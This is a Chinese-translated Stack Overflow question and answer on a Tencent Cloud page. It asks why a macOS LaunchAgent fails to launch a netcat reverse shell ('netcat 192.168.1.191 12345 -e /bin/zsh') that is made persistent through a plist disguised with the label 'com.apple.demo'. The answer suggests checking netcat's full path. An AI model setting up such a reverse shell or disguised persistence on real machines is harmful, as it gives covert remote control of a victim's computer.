首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Launchctl未启动netcat shell

Launchctl未启动netcat shell
EN

Stack Overflow用户
提问于 2020-04-21 03:31:34
回答 1查看 39关注 0票数 0

如下所示,我将一个脚本保存到文件/Users/yulkytulky/Library/demo/demo:

代码语言:javascript
复制
netcat 192.168.1.191 12345 -e /bin/zsh

并创建了一个LaunchAgent plist文件,以便外壳程序自动运行,如下所示:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.apple.demo</string>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
          <string>/bin/sh</string>
          <string>/Users/yulkytulky/Library/demo/demo</string>
        </array>
        <key>StartInterval</key>
        <integer>5</integer>
</dict>
</plist>

然而,当我听的时候,没有产生任何shell。

我测试了如何将脚本更改为

代码语言:javascript
复制
say hello

它成功了!(每5秒打一次招呼)

当我尝试运行netcat时,为什么它不起作用?

注意:我知道这个脚本是可执行的。我甚至可以从plist文件中复制脚本的路径,将其粘贴到终端中,它就可以像预期的那样工作。

EN

回答 1

Stack Overflow用户

发布于 2020-04-21 20:15:04

仔细检查netcat的路径(您可以在shell中使用which netcat来完成此操作)。say位于/usr/bin/中,因此通常位于标准路径中,但如果netcat可执行文件位于其他位置,则可能需要为其提供完整的路径规范

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/61330541

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档